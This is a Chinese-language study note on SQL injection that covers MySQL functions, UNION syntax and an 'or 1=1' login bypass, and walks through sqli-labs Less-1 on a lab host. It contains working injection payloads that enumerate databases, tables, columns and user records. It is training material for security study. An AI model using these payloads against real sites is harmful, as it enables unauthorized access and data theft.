Sql注入
基礎知識:
一··系統函數;
1. version()——MySQL 版本
2. user()——數據庫用戶名
3. database()——數據庫名
4. @@datadir——數據庫路徑
5. @@version_compile_os——操作系統版本
二··字符串連接函數
1. concat(str1,str2,...)——沒有分隔符地連接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
3. group_concat(str1,str2,...)——連接一個組的所有字符串,並以逗號分隔每一條數據
三·一般嘗試的語句
--+可以用#替換,url 提交過程中 Url 編碼后的#為%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
一般代碼為:
$id=$_GET[‘id’];
$sql=’SELECT * FROM users WHERE id =’$id’ LIMIT 0,1’;
此處考慮兩個點,一個是閉合前面你的 ‘ 另一個是處理后面的 ‘ ,一般采用兩種思路,閉合后面的引號或者注釋掉,注釋掉采用--+ 或者 #(%23)
四·union操作符介紹
UNION 操作符用於合並兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的 列的順序必須相同。
SQL UNION 語法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注釋:默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL。 SQL UNION ALL 語法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 結果集中的列名總是等於 UNION 中第一個 SELECT 語句中的列名。
五·sql中的邏輯運算
Select * from admin where username=’admin’ and password=’admin’
我們可以用 ’or 1=1# 作為密碼輸入
Select * from admin where username=’admin’ and password=’ ’or1=1#’
Password為假但or1=1為真
上面的這個語句執行后,我們在不知道密碼的情況下就登錄到了 admin 用戶了。 原 因 是 在 where 子 句 后 , 我 們 可 以 看 到 三 個 條 件 語 句 username=’admin’ and password=’’or 1=1。三個條件用 and 和 or 進行連接。在 sql 中,我們 and 的運算優先 級大於 or 的元算優先級。因此可以看到 第一個條件(用 a 表示)是真的,第二個條件(用 b 表示)是假的,a and b = false,第一個條件和第二個條件執行 and 后是假,再與第三 個條件 or 運算,因為第三個條件 1=1 是恆成立的,所以結果自然就為真了。因此上述的語 句就是恆真了。
① Select * from users where id=1 and 1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
①和②是一樣的,表達的意思是 id=1 條件和 1=1 條件進行與運算。
② 的意思是 id=1 條件與 1 進行&位操作, id=1 被當作 true,與 1 進行 & 運算 結果還是 1, 再進行=操作,1=1,還是 1(ps:&的優先級大於=) Ps:此處進行的位運算。我們可以將數轉換為二進制再進行與、或、非、異或等運算。必要 的時候可以利用該方法進行注入結果。例如將某一字符轉換為 ascii 碼后,可以分別與 1,2,4,8,16,32.。。。進行與運算,可以得到每一位的值,拼接起來就是 ascii 碼值。再從 ascii 值反推回字符。(運用較少)
第一關:
http://192.168.65.130/sqli-labs-master/Less-1?id=1'or 1=1--+ limit 0,1
原代碼:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://192.168.65.130/sqli-labs-master/Less-1?id=-1 'order by 4 --+
order by 3顯示正常:
顯示位:
http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(2),(3))--+
爆數據庫:
http://192.168.65.130/sqli-labs-master/Less=-1?id=1'+UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+limit 0,1
爆表名:
http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+limit 0,1
爆裂名:
http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+limit 0,1
報數據:
http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(username),(3) from users where id=3) --+limit 0,1